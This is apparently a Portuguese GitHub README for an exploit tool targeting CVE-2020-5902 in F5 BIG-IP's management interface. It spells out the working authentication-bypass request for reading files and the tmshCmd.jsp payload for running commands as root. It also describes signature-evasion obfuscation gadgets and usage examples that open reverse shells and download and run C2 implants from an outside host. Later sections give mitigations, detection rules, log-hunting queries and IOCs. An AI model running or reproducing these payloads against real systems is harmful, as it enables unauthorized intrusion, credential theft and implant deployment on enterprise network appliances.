
O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.
Prova de conceito para a vulnerabilidade crítica de path traversal / execução remota de código na Interface de Usuário de Gerenciamento de Tráfego (TMUI) do F5 BIG-IP.
⚠️ Apenas para testes de penetração autorizados e pesquisa de segurança. O uso não autorizado contra sistemas que você não possui ou não tem permissão por escrito para testar é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.
O F5 BIG-IP é uma família de appliances de rede multiuso (balanceadores de carga, WAFs, controladores de entrega de aplicações) implantada na maioria das empresas Fortune 500, instituições financeiras, organizações de saúde e agências governamentais em todo o mundo. A Interface de Usuário de Gerenciamento de Tráfego (TMUI) — também chamada de Utilitário de Configuração — é o portal de gerenciamento baseado na web acessível na porta 443 (ou 8443).
Em julho de 2020, a F5 divulgou a CVE-2020-5902, uma vulnerabilidade Crítica (CVSS 9.8) de path traversal não autenticado no TMUI que permite a um atacante remoto não autenticado:
Em dias após a divulgação pública, foi observada exploração em massa em produção, inclusive por agentes estatais.
O TMUI é construído sobre Apache Tomcat e utiliza um filtro servlet para aplicar autenticação em recursos protegidos. A vulnerabilidade reside na forma como o Tomcat analisa segmentos de caminho delimitados por ponto e vírgula (;).
A seguinte requisição ignora a autenticação completamente:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Por que funciona:
/tmui/login.jsp (termina antes do ;) — que é a página de login pública — e permite a requisição./..;/ como uma path traversal (/../) antes de despachar.fileRead.jsp sem autenticação.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
O servlet tmshCmd.jsp (também acessível através da mesma travessia) passa os parâmetros command e utilCmdArgs diretamente para tmsh (o shell de gerenciamento do BIG-IP), que envolve run util bash -c '...'. Isso fornece execução de comandos do sistema operacional como root não autenticada:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Fase 1: Reconhecimento
└─ Captura de banner TCP (impressão digital HTTP/TLS)
└─ Análise de certificado SSL
└─ Impressão digital de cabeçalhos HTTP (Server, X-Powered-By, Set-Cookie)
└─ Estimativa da versão do BIG-IP a partir de /etc/f5-release
Fase 2: Verificação de Vulnerabilidade
└─ Iterar sobre 6 variantes de codificação de travessia
└─ Testar contra 4 arquivos sentinelas conhecidos como legíveis
└─ Confirmar saída corresponde a indicadores conhecidos (root:x:0:0, BIG-IP, etc.)
Fase 3: Exploração
├─ Vetor A: tmshCmd.jsp (RCE primário)
│ └─ Comando ofuscado via gadgets base64 / hex-encode
├─ Vetor B: fileRead.jsp + injeção de comando no parâmetro fileName
│ └─ Comando do SO injetado no parâmetro fileName
└─ Vetor C: Envenenamento de log (injeção User-Agent → ler access_log)
Fase 4: Pós-Exploração (opcional)
├─ Shell interativo (REPL de comandos)
├─ Reverse shell (4 one-liners concorrentes)
├─ LFI brute-force (30 caminhos sensíveis, paralelo)
└─ Implantação de implante C2 (Sliver / Metasploit / customizado)
A ferramenta aplica um de dois gadgets de ofuscação por execução, dificultando a detecção por assinatura estática:
# Gadget 1 — Pipeline de codificação/decodificação Base64
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Avaliação de printf em hex
eval "$(printf '\x69\x64')"
BIG-IQ, BIG-IQ Centralized Management, F5OS e Traffix SDC não são afetados por esta CVE específica.
!revshell, !c2, !read, !brutegit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
Requisitos: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. Apenas verificação de vulnerabilidade
python CVE-2020-5902.py 192.168.1.100
# 2. Porta personalizada + execução de comando único
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. Shell interativo
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI brute-force (lê 30 caminhos sensíveis)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. Implantar um implante C2 (exemplo Sliver)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Roteamento através do Burp Suite para inspeção de tráfego
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
Uma vez no modo --shell, os seguintes comandos especiais estão disponíveis:
A mitigação mais eficaz é garantir que a interface de gerenciamento nunca seja acessível de redes não confiáveis:
# BIG-IP: restringir acesso de gerenciamento a uma VLAN/faixa de IP dedicada
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
Alternativamente, na configuração de Self IP do BIG-IP, certifique-se de que a porta de gerenciamento não tenha rota externa.
A F5 publicou um script de mitigação que adiciona uma regra RewriteRule do Apache para bloquear o padrão de travessia:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
Referência: K52145254 — Passos de mitigação
A correção definitiva é atualizar o BIG-IP para uma versão corrigida (consulte a tabela Versões Afetadas). A F5 corrigiu a lógica do filtro servlet para analisar adequadamente os segmentos de caminho delimitados por ponto e vírgula antes da imposição de autenticação.
┌────────────────────────────────────────────────────────────────┐
│ ARQUITETURA RECOMENDADA │
│ │
│ Internet ──────► Firewall ──────► DMZ / Produção │
│ │ │
│ │ (NEGAR todo tráfego para portas de mgmt)│
│ │ │
│ Jump Host ──────► BIG-IP TMUI (porta 443) │
│ (MFA + VPN) (apenas VLAN de gerência) │
└────────────────────────────────────────────────────────────────┘
Princípios-chave:
Self IP do BIG-IP deve ser configurado como Allow None ou Allow DefaultsSe um WAF estiver na frente do gerenciamento BIG-IP (incomum, mas possível em algumas arquiteturas), adicione regras para bloquear:
; no caminho da URL..; ou %3b em segmentos de caminho/tmui/locallb/workspace/ de fontes não relacionadas ao gerenciamento[ ] BIG-IP atualizado para uma versão corrigida
[ ] TMUI não exposto à internet (verificar com Shodan/Censys)
[ ] VLAN de gerenciamento segregada da produção
[ ] Bloqueio de porta Self IP configurado (Allow None ou Allow Defaults)
[ ] MFA imposto no acesso de gerenciamento
[ ] Inventário de software BIG-IP no sistema de gerenciamento de ativos
[ ] Varredura automatizada de vulnerabilidades (Tenable/Qualys) inclui BIG-IP
[ ] Encaminhamento de logs para SIEM configurado (access_log, audit.log)
[ ] Segmentação de rede: BIG-IP comprometido não pode alcançar controladores de domínio
[ ] Playbook de resposta a incidentes inclui cenário de comprometimento de dispositivo de rede
# Detectar tentativas de path traversal (bypass ponto e vírgula)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# Detectar variante de ponto e vírgula codificado
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (codificado)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# Caçar tentativas de travessia nos logs de acesso do BIG-IP
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# Procurar hits bem-sucedidos nos endpoints vulneráveis
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
Padrões de URL:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
Objetivos comuns dos atacantes (arquivos acessados):
/etc/passwd — coleta de credenciais
/config/bigip.conf — exfiltração de configuração VPN/roteamento
/config/bigip.license — roubo de chave de licença
/config/bigip_user.conf — enumeração de conta de admin local
/root/.bash_history — reconhecimento de comandos históricos
http.title:"BIG-IP" port:443Esta ferramenta é fornecida apenas para fins educacionais e avaliações de segurança autorizadas. Ela é destinada a:
Usar esta ferramenta contra sistemas sem permissão explícita por escrito é uma infração criminal sob o Computer Fraud and Abuse Act (CFAA), o UK Computer Misuse Act, a Lei Brasileira nº 12.737/2012 (Lei Carolina Dieckmann) e leis equivalentes na maioria das jurisdições mundiais.
O autor e os contribuidores deste repositório não aceitam nenhuma responsabilidade por danos, consequências legais ou outros prejuízos resultantes do uso indevido deste software.
Feito para a comunidade de pesquisa em segurança. Corrija seus sistemas. Proteja suas redes.
| Variante | Payload |
|---|
| Padrão | tmui/login.jsp/..;/tmui/... |
| Ponto e vírgula codificado | tmui/login.jsp/..%3b/tmui/... |
| Dupla codificação URL | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Unicode ponto-ponto | tmui/login.jsp/%2e%2e;/tmui/... |
| Variação de maiúsculas | TMUI/login.jsp/..;/tmui/... |
| Confusão de diretório | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| Ramo BIG-IP | Faixa Vulnerável | Versão Corrigida |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| Comando | Descrição |
|---|
!revshell <lhost> <lport> | Dispara 4 variantes de reverse shell concorrentemente |
!c2 <url> <type> [args] | Baixa e executa um implante C2 |
!read <path> | Lê um arquivo arbitrário via LFI |
!brute | Força bruta em 30 caminhos sensíveis |
!exit | Encerra a sessão |
<qualquer comando do SO> | Executa via RCE e imprime a saída |
| Data | Evento |
|---|
| 2020-06-30 | F5 notificada em privado |
| 2020-07-01 | F5 divulga comunicado (K52145254) e correções |
| 2020-07-03 | PoC público divulgado no Twitter |
| 2020-07-04 | Exploração em massa observada por várias empresas de inteligência de ameaças |
| 2020-07-06 | CISA emite Diretiva de Emergência 20-03 exigindo correção federal |
| 2020-07-09 | Atores estatais (APT) confirmados explorando em produção |
| 2020-07-15 | Aproximadamente 8.000 instâncias BIG-IP ainda sem patch (Shodan) |
| 2020-08-xx | Grupos de ransomware começam a mirar dispositivos BIG-IP sem patch |